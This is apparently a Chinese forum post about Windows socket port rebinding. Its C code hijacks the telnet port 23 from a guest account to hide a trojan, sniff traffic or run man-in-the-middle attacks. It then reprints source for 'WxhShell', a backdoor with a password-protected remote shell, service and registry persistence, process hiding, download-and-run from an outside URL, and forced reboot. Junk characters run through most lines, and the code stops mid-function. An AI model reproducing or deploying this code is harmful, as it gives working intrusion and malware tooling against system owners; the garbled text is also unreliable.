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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P Y_u/<u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N nRD|A  
XeW<B0~  
  saddr.sin_family = AF_INET; !<j'Ea  
|nc@"OJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I& 2c&yO  
IshKH -  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ' KP@W9j  
wrc,b{{[iM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^&B@Uw5{  
"7 4-4  
  这意味着什么?意味着可以进行如下的攻击: oQLq&zRH`f  
V_R@o3kv;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xR-%L  
p ?*Q- f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 35A|BD) q  
?8I?'\F;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Us)Z^s  
8LyD7P 1\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $ZUdT  
1 8|m)(W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  '<jyw   
u#Pa7_zBj]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #pT"BSz]  
Vrjc~>X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -c_74c50  
viW!,QQ(S  
  #include ]}Mj)J"m  
  #include US+Q~GTA  
  #include {}>0e:51  
  #include    f~t:L, \,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NvD7Krqwa  
  int main() Qk0R a_  
  { D|lzGt  
  WORD wVersionRequested; Y#]+Tm (+  
  DWORD ret; 5 f@)z"j  
  WSADATA wsaData; e|NG"<  
  BOOL val; )#EGTRdo  
  SOCKADDR_IN saddr; H7?Vybg~  
  SOCKADDR_IN scaddr; i)o2klIkB  
  int err; J &o |QG  
  SOCKET s; cW~}:;D4  
  SOCKET sc; e h&IPU S  
  int caddsize; %r<rcY  
  HANDLE mt; d:_t-ZZo  
  DWORD tid;   3YeG$^y"  
  wVersionRequested = MAKEWORD( 2, 2 ); S(o#K|)>  
  err = WSAStartup( wVersionRequested, &wsaData ); \(3y7D  
  if ( err != 0 ) { !lREaSM  
  printf("error!WSAStartup failed!\n"); gcii9vz `  
  return -1; q VjdOY:z  
  } e2L0VXbb  
  saddr.sin_family = AF_INET; 6}Vf\j~  
   9 3U_tQ&1?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IrR7"`.i  
\(J8#V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %OtFHhb  
  saddr.sin_port = htons(23); Bp*K]3_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &Q9qq~  
  { KLU-DCb%  
  printf("error!socket failed!\n");  jPC[_g  
  return -1; 8J*"%C$qe  
  } TIx|L  
  val = TRUE; [=x[ w70  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jz?j[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;5wn67'  
  { v:EB*3n5  
  printf("error!setsockopt failed!\n"); :Gv1?M  
  return -1; ~fBtQGdX  
  } (ScxLf=]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !5wIIS:FT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ' WMh8)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yID 164&r  
LZ\q3 7UV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +cWLjPD/}  
  { fr,7rS/w{l  
  ret=GetLastError(); "MxnFeLM#  
  printf("error!bind failed!\n"); Okgv!Nt8)A  
  return -1; w _u\pa  
  } rJd,Rdt.  
  listen(s,2); ZkgV_<M|  
  while(1) G=)i{oC  
  { +QB"8-  
  caddsize = sizeof(scaddr); IWBX'|}K  
  //接受连接请求 {qDSPo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9 ^o-EC!_  
  if(sc!=INVALID_SOCKET) VJ84?b{c W  
  { pb^i^tA+A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m9)p-1y@5  
  if(mt==NULL) 6f;fx}y  
  { 3yANv?$a  
  printf("Thread Creat Failed!\n"); iz5CAxm  
  break; '#! gh?  
  } {Z{75}  
  } TH)"wNa  
  CloseHandle(mt); hrmut*<|  
  } yhlFFbU  
  closesocket(s); OL5v).Bb  
  WSACleanup(); zh4# A <e  
  return 0; 1pQn8[sc@  
  }   Ulhk$CPA  
  DWORD WINAPI ClientThread(LPVOID lpParam) }L &^xe  
  { X#d~zk[r2  
  SOCKET ss = (SOCKET)lpParam; J2d.f}-  
  SOCKET sc; s.EI`*xylY  
  unsigned char buf[4096]; eD-#b|  
  SOCKADDR_IN saddr; R|JC1f8P5  
  long num; ?xK8#  
  DWORD val; D@C-5rmq  
  DWORD ret; X"MB|N y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fz;iOjr>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vVj  
  saddr.sin_family = AF_INET; %el"BSB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YpQ7)_s ?  
  saddr.sin_port = htons(23); g! cUF+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R{RwTN<  
  { R5"K]~  
  printf("error!socket failed!\n"); |b[+I?X  
  return -1; L9-h;] x!  
  } tM2)k+fg  
  val = 100; JROM_>mC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PiYY6i0  
  { 2<li7c59  
  ret = GetLastError(); %?LOs H   
  return -1; aGK?x1_  
  } @*>@AFnf\Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )@N2  
  { ^<;V]cY`  
  ret = GetLastError(); ,_|]Ufr!a  
  return -1; hp8%.V$f  
  } f6|KN+.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Vw[6t>`  
  { gHhh>FFAq  
  printf("error!socket connect failed!\n"); Ok>gh2e[c  
  closesocket(sc); '"y|p+=j:  
  closesocket(ss); o5xAav"+>  
  return -1; `))\}C@k  
  } H|,Oswk~-  
  while(1)  zG+R5:  
  { 33jovK 2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >Wh}f3C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U QE qX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vQ<90Z xqB  
  num = recv(ss,buf,4096,0); %509\;el  
  if(num>0) V7#Ffi  
  send(sc,buf,num,0); 6W@UJx}w5  
  else if(num==0) '[J<=2&  
  break; Tskq)NU  
  num = recv(sc,buf,4096,0); )q 0.0<f  
  if(num>0) 5pU2|Bk /  
  send(ss,buf,num,0); Fd?"-  
  else if(num==0) GRMiQa  
  break; ~n[d4qV&  
  } CQZgMY1{  
  closesocket(ss); Mmj;'iYOwF  
  closesocket(sc); w0|gG+x jS  
  return 0 ; 79nG|Yj|\  
  }  ~UyV<  
ktK_e  
~CtL9m3tO  
========================================================== y[>;]R7'  
)v]/B+  
下边附上一个代码,,WXhSHELL dp++%:j  
qZ]pq2G  
========================================================== "~=mG--I  
IC6gU$e  
#include "stdafx.h" u583_k%  
$k0k k  
#include <stdio.h> pX/n)q[  
#include <string.h> |UP `B|  
#include <windows.h> @lCJ G!u  
#include <winsock2.h> 7~&/_3  
#include <winsvc.h> PN0VQ/..  
#include <urlmon.h> 1J6,]M  
"oWwc zzO  
#pragma comment (lib, "Ws2_32.lib") MepuIh  
#pragma comment (lib, "urlmon.lib") !icT/5  
{*[\'!d--.  
#define MAX_USER   100 // 最大客户端连接数 994` ua+  
#define BUF_SOCK   200 // sock buffer %Rz&lh/  
#define KEY_BUFF   255 // 输入 buffer aaKN^fi&  
HQ|MhM/"  
#define REBOOT     0   // 重启 ;2@BO-3K  
#define SHUTDOWN   1   // 关机 +zu(  
m~@;~7Ix  
#define DEF_PORT   5000 // 监听端口 ?s\ OUr  
3ia^\ jw  
#define REG_LEN     16   // 注册表键长度 # S}Z8  
#define SVC_LEN     80   // NT服务名长度 [~kdPk  
48jVRo  
// 从dll定义API ikSF)r;*t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $B kubWM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WJNl5^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 N7[.I>A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M~WijDj  
`Q+ (LBP  
// wxhshell配置信息 s"9`s_p`d  
struct WSCFG { b3S.-W{p.  
  int ws_port;         // 监听端口 8 %%f%y  
  char ws_passstr[REG_LEN]; // 口令 .~Fp)O:!  
  int ws_autoins;       // 安装标记, 1=yes 0=no TlI<1/fP}  
  char ws_regname[REG_LEN]; // 注册表键名 fBgEnz/  
  char ws_svcname[REG_LEN]; // 服务名 !_+8A/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8~90 30>Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ U kr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <c)+Fno[E_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :@1eph0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @Ys!DScY,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tniDF>Rb  
c~{9a_G  
}; &LF` W  
"]oO{'1X  
// default Wxhshell configuration AX?fuDLs  
struct WSCFG wscfg={DEF_PORT, I8+~ &V}  
    "xuhuanlingzhe", lY~4'8^  
    1, HS{(v;  
    "Wxhshell", AjJURn0`,!  
    "Wxhshell", _<=S_ <$2  
            "WxhShell Service", "jTKSgv+q5  
    "Wrsky Windows CmdShell Service", nL$x|}XAcj  
    "Please Input Your Password: ", w?zKjqza=v  
  1, 56e r`=ms  
  "http://www.wrsky.com/wxhshell.exe", b !%hH  
  "Wxhshell.exe" 7M<'ddAN  
    }; `W dD8E  
1QcT$8HA  
// 消息定义模块 gXonF'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R)F;py8)I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #VB')^d<U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AK= h[2(  
char *msg_ws_ext="\n\rExit."; >$ NDv  
char *msg_ws_end="\n\rQuit."; CT KG9 T  
char *msg_ws_boot="\n\rReboot..."; VOc8q-hK  
char *msg_ws_poff="\n\rShutdown..."; %1.]c6U  
char *msg_ws_down="\n\rSave to "; \A#1y\ok  
[q_`X~3  
char *msg_ws_err="\n\rErr!"; txZ?=8j_Y  
char *msg_ws_ok="\n\rOK!";  vj51 g@  
ZAJp%   
char ExeFile[MAX_PATH]; s@z}YH  
int nUser = 0; by'DQ 00  
HANDLE handles[MAX_USER]; ]W Zq^'q.  
int OsIsNt; L7= Q<D<  
"6R 5+  
SERVICE_STATUS       serviceStatus; !L;\cl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a-"k/P#  
4Sm]>%F':  
// 函数声明 7]x3!AlV  
int Install(void); PzV@umC1#f  
int Uninstall(void); ?gO8kPg/D  
int DownloadFile(char *sURL, SOCKET wsh); DHw&+MY  
int Boot(int flag); UK$ms~H  
void HideProc(void); `6[I^qG".  
int GetOsVer(void); J[A14z]#`  
int Wxhshell(SOCKET wsl); eVt$7d?Jw  
void TalkWithClient(void *cs); @*0cMO;SpG  
int CmdShell(SOCKET sock); _bzqd" 31I  
int StartFromService(void); HJ2*y|u  
int StartWxhshell(LPSTR lpCmdLine); 21ppSN >  
}w/;){gu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  6\u!E~zy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h)6GaJ=  
r6;$1 K*0  
// 数据结构和表定义 ZxG}ViS4I  
SERVICE_TABLE_ENTRY DispatchTable[] = (]RM6i7  
{ SG?Nsp^%`B  
{wscfg.ws_svcname, NTServiceMain}, 5GA\xM-  
{NULL, NULL} LAP6U.m'd  
}; 6ns! ~g@  
3#vinz  
// 自我安装 "F3]X)}  
int Install(void) ~%/Wupf  
{ s-Aw<Q)d  
  char svExeFile[MAX_PATH]; :LWn<,4F&  
  HKEY key; RbGJ)K!  
  strcpy(svExeFile,ExeFile); .MVYB\6Q0  
4EXB;[ ]  
// 如果是win9x系统,修改注册表设为自启动 rUlS'L;$"  
if(!OsIsNt) { KJ?y@Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mAeuw7Ni  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .fi/I  
  RegCloseKey(key); C@Nv;;AlU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 65oWD-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zOHypazOTq  
  RegCloseKey(key); kWlAY%   
  return 0;  Og2vGzD  
    } p1D[YeF4  
  }  cO\-  
} t ?h kL  
else { $s4Wkq  
\eGKkSy  
// 如果是NT以上系统,安装为系统服务 @)>D))+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uK ("<u|  
if (schSCManager!=0) mv atUe  
{ ESg+n(R  
  SC_HANDLE schService = CreateService ?f*Q>3S)  
  ( R#n%cXc|  
  schSCManager, BR v+.(S  
  wscfg.ws_svcname, ygS L  
  wscfg.ws_svcdisp, M wab!Ya  
  SERVICE_ALL_ACCESS, `e]6#iJ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7l."b$U4yv  
  SERVICE_AUTO_START, !ph" mf$-  
  SERVICE_ERROR_NORMAL, (>=7ng^  
  svExeFile, 2/36dGFH  
  NULL, E15vq6DKF  
  NULL, ~gI{\iNF/  
  NULL, RGIoI ]_  
  NULL, BPqGJ7@  
  NULL jJ3zF3Id  
  ); 0@5E|<A  
  if (schService!=0) 6yu]GK} es  
  { `_5GG3@Ff  
  CloseServiceHandle(schService); Z,c,G2D  
  CloseServiceHandle(schSCManager); Eq^uKi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v8/6wy?  
  strcat(svExeFile,wscfg.ws_svcname); TwvAj#j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a=xT(G0Re  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pilh@#_h  
  RegCloseKey(key); EPX8Wwf  
  return 0; K'1~^)*  
    } F_ 7H!F  
  } "BVdPSDBk  
  CloseServiceHandle(schSCManager); xM s]Hs  
} h(B,d,q"  
} TFR( 4W  
z[#Fog  
return 1; r]P,9  
} b[@V Ya  
|<`.fOxJP  
// 自我卸载 }wwe}E-e  
int Uninstall(void) \aP6_g:N}  
{ JR9$. fGJ  
  HKEY key; (QB+%2v  
7OVbP%n)d2  
if(!OsIsNt) { m-V02's  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @!Hr|k|  
  RegDeleteValue(key,wscfg.ws_regname); 2UP,Tgn..  
  RegCloseKey(key); cPn+<M#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :XV} c(+d  
  RegDeleteValue(key,wscfg.ws_regname); [U\(G  
  RegCloseKey(key); OQ4c#V?  
  return 0;  m@rSz  
  } 7Bz*r0 9S  
} ,xths3.K  
} gJ3c;  
else { N;HIsOT}t  
9.M{M06;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !q4x~G0d  
if (schSCManager!=0) W9J1=  
{ -s__ E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \k.vN@K#  
  if (schService!=0) ~ eN8|SR  
  { V/"}ku  
  if(DeleteService(schService)!=0) { /&Jv,[2kV  
  CloseServiceHandle(schService); Nm]% }  
  CloseServiceHandle(schSCManager); $T }Tz7(  
  return 0; v })Q  
  } |G=[5e^s[  
  CloseServiceHandle(schService); GlR~%q-jiQ  
  } rUwE?Ekn/  
  CloseServiceHandle(schSCManager); ivrXwZ7jT  
} %*)2s,8  
} W"hcaa,&  
?\H.S9CZ^  
return 1; $zkH|] zZ  
} Erb Sl  
,#'7)M D8  
// 从指定url下载文件 ;RN8\re  
int DownloadFile(char *sURL, SOCKET wsh) m-1?\bs  
{ _MYx%Z  
  HRESULT hr; ;?IT)sNY  
char seps[]= "/"; `Y3(~~YGn  
char *token; gs`^~iD]m  
char *file; ~%y\@x7I  
char myURL[MAX_PATH]; Pg^h,2h  
char myFILE[MAX_PATH]; i (HByI  
h(xP_Svj>  
strcpy(myURL,sURL); K5ZnS`c;  
  token=strtok(myURL,seps); "S(X[Y'  
  while(token!=NULL) 'M'w,sID  
  { K5 vNhA  
    file=token; -S; &Q'Mt  
  token=strtok(NULL,seps); <fM>Yi5  
  } V,QwN&  
g0#q"v55  
GetCurrentDirectory(MAX_PATH,myFILE); )&Z>@S^  
strcat(myFILE, "\\"); K&pM o.  
strcat(myFILE, file); dc^Vc{26Z  
  send(wsh,myFILE,strlen(myFILE),0); }. %s xw  
send(wsh,"...",3,0); ;;LuU<,$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZTf_#eS$  
  if(hr==S_OK) 'M%5v'$y  
return 0; dl[ob,aCK  
else boQ)fV"  
return 1; R40W'N 1%q  
wz@FrRP=  
} Y"> 4Qx4W  
Hbr^vYs5  
// 系统电源模块 ]G1R0 Q  
int Boot(int flag) mC(u2  
{ hhq$g{+[  
  HANDLE hToken; kMe@+ysL  
  TOKEN_PRIVILEGES tkp; QTh0 SL  
;?im(9h"v!  
  if(OsIsNt) { aR(E7mXQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &d 3HB=x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &|z544  
    tkp.PrivilegeCount = 1; U6i~A9;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +G!v!(Ob+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &,uC9$  
if(flag==REBOOT) { J'7 y   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +>E5X4JC  
  return 0; q0|Z oP  
} z<QIuq  
else { :c;_a-69  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a"qR J-@  
  return 0; /Nqrvy=  
} OLFt;h  
  } lS{4dvr?w  
  else { lV7IHX1P  
if(flag==REBOOT) { 4 ?2g&B\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n2 na9dX)w  
  return 0; [a D:A  
} j7sU0"7^  
else { OPJgIU%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C5B=NAc  
  return 0; Dh8(HiXf:  
} _SF!T6A  
} XWF7#xM  
Rkr^Z?/GH  
return 1; 1nXqi)&?;  
} 1,u{&%yL"w  
QJM(UfHUD  
// win9x进程隐藏模块 (wlfMiO  
void HideProc(void) z\h, SX<U  
{ W8uVd zQ   
%QE5<2k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8 DL hk  
  if ( hKernel != NULL ) 4^MSX+zt  
  { tBTJmih"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,# iZS&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )6C`&Mj  
    FreeLibrary(hKernel); $:]tcY-L9  
  } $nc, ?)i!  
?7rD42\8H  
return; D3]@i&^B  
} )T<D6l Lt  
~"5C${~{  
// 获取操作系统版本 vu>YH)N_h  
int GetOsVer(void) (JvQ-H  
{ Z_jn27AC  
  OSVERSIONINFO winfo; |%3O) B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hqWPf  
  GetVersionEx(&winfo); ]g7HEB.Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cCYl$MskZ  
  return 1; #_,uE9  
  else J2Y 3er  
  return 0;  xLLC)~  
} ,?#*eJD  
X#Ak'%J  
// 客户端句柄模块 ~ \-r  
int Wxhshell(SOCKET wsl) j$%yw4dsj  
{ HD~jU>}}  
  SOCKET wsh; J,`_,T  
  struct sockaddr_in client; j`+0.Zlq  
  DWORD myID; v?%0~!  
+Gp!cGaAm  
  while(nUser<MAX_USER) U !.~XT=  
{ g!.Ut:8L9  
  int nSize=sizeof(client); sOjF?bCdO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lbG}noqb  
  if(wsh==INVALID_SOCKET) return 1; j& <tdORT  
d{iL?>'?^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  }Olr  
if(handles[nUser]==0) Qlf 9]ug)  
  closesocket(wsh); g8rp|MOH  
else Kyyih|{  
  nUser++; 3[,wMy"  
  } K]%N-F>r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rS=tcB O  
okVp\RC  
  return 0; %zRiLcAT  
} } =xI3;7  
#%:`p9p.S  
// 关闭 socket p9k4w% ~:  
void CloseIt(SOCKET wsh) e2q pJ4i  
{ .<0=a|IAz  
closesocket(wsh); 9PUa?Bc`=  
nUser--; tru;;.lj8K  
ExitThread(0); fuQ4rt[i  
} (q~R5)D  
5>N6VeM  
// 客户端请求句柄 P}+2>EU  
void TalkWithClient(void *cs) Bmi:2} j  
{ JgxE|#*7U  
L,yA<yrC  
  SOCKET wsh=(SOCKET)cs; 'E@2I9Kj  
  char pwd[SVC_LEN]; @*bvMEE  
  char cmd[KEY_BUFF]; Zm`'MsgFr  
char chr[1]; C,9)V5!tP2  
int i,j; B#| Z`mZ  
:Pj W:]  
  while (nUser < MAX_USER) { g?w2J6Z.`J  
M" xZz  
if(wscfg.ws_passstr) { uDpf2(>s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rsd2v9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `WraOsoY  
  //ZeroMemory(pwd,KEY_BUFF); _ .-o%6  
      i=0; u-8X$aJ  
  while(i<SVC_LEN) { "sz.v<F0:s  
y|FBYcn#F  
  // 设置超时 v@F|O8t:s  
  fd_set FdRead; lNq:JVJ#\r  
  struct timeval TimeOut; Jslk  
  FD_ZERO(&FdRead); Q x9>,e6+  
  FD_SET(wsh,&FdRead); +3NlkN#  
  TimeOut.tv_sec=8; L"Qh_+   
  TimeOut.tv_usec=0; i5ajM,i/K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R>/QA RX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "$`wk  
D2>hMc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^#<: <X6  
  pwd=chr[0]; g,A.Y,})  
  if(chr[0]==0xd || chr[0]==0xa) { [K"U_b}w  
  pwd=0; e6tH/`Uln  
  break; N*_/@qM> a  
  } yS1b,cxz  
  i++; HA$^ *qn  
    } zz7Y/653  
4iYgs-,  
  // 如果是非法用户,关闭 socket |@T5$Xg]5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o(B<!ji~'  
} J=f:\]@Oy  
v_?s1+w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); owfp^hla  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NB|RZf9M  
0A) Vtj$  
while(1) { I$3"|7[n  
xI/{)I1f  
  ZeroMemory(cmd,KEY_BUFF); zbF:R[)  
^yEj]]6  
      // 自动支持客户端 telnet标准   $|`t9-EA/  
  j=0; lWu9/r 1  
  while(j<KEY_BUFF) { [dSDg2]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [4K9|/J  
  cmd[j]=chr[0]; <3i4NXnL2  
  if(chr[0]==0xa || chr[0]==0xd) { I_"Hgx<  
  cmd[j]=0; -13P 2<i+  
  break; WH pUjyBP  
  } PK:o}IWn~x  
  j++; 3p?<iVE  
    } =j'J !M  
vF*^xhh  
  // 下载文件 v!pj v%  
  if(strstr(cmd,"http://")) { PV,kYM6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y V 9]_k  
  if(DownloadFile(cmd,wsh)) dy2_@/T7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I]uOMWZs  
  else ~$?y1Yv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4~m.#6MT  
  } /pAm8vK   
  else { J1gEjd   
%2rHvF=  
    switch(cmd[0]) { :{TmR3.  
  lRa 3v Ng  
  // 帮助 c&| '3i+  
  case '?': { hJC p0F9O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L&!g33J&  
    break; +q`rz  
  } t+W=2w&  
  // 安装 %v`-uAy:  
  case 'i': { uv~qK:Nw(  
    if(Install()) /el["l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B"?+5A7  
    else uI[-P}bSc&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }rj C_q  
    break; #x4h_K Y  
    } ?[hy|r6$  
  // 卸载 /P?|4D}<  
  case 'r': { oPBg+Bh*  
    if(Uninstall()) yKe*<\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(H)gjH  
    else %ojR?=ON  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -$L],q_S^  
    break; |%2/I>o  
    } =,>TpE  
  // 显示 wxhshell 所在路径 'Ec:l(2Ec  
  case 'p': { OW63^wA`s  
    char svExeFile[MAX_PATH]; iSZctsqE  
    strcpy(svExeFile,"\n\r"); -A-hxK*^  
      strcat(svExeFile,ExeFile); </+%R"`  
        send(wsh,svExeFile,strlen(svExeFile),0); !%Hl#Pv}  
    break; I\Gp9w0f  
    } HP4'8#3o  
  // 重启 3j=%De  
  case 'b': { \CJx=[3(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bCE7hutl  
    if(Boot(REBOOT)) B:6sVJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IQk#  
    else { @sg T[P*ut  
    closesocket(wsh); H.l,%x&K  
    ExitThread(0); 4B3irHs\Q  
    } v8U1uOR,%  
    break; qUDz(bFk/  
    } V~J2s  
  // 关机 z[KN^2YS  
  case 'd': { +GYI2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k8x&aH  
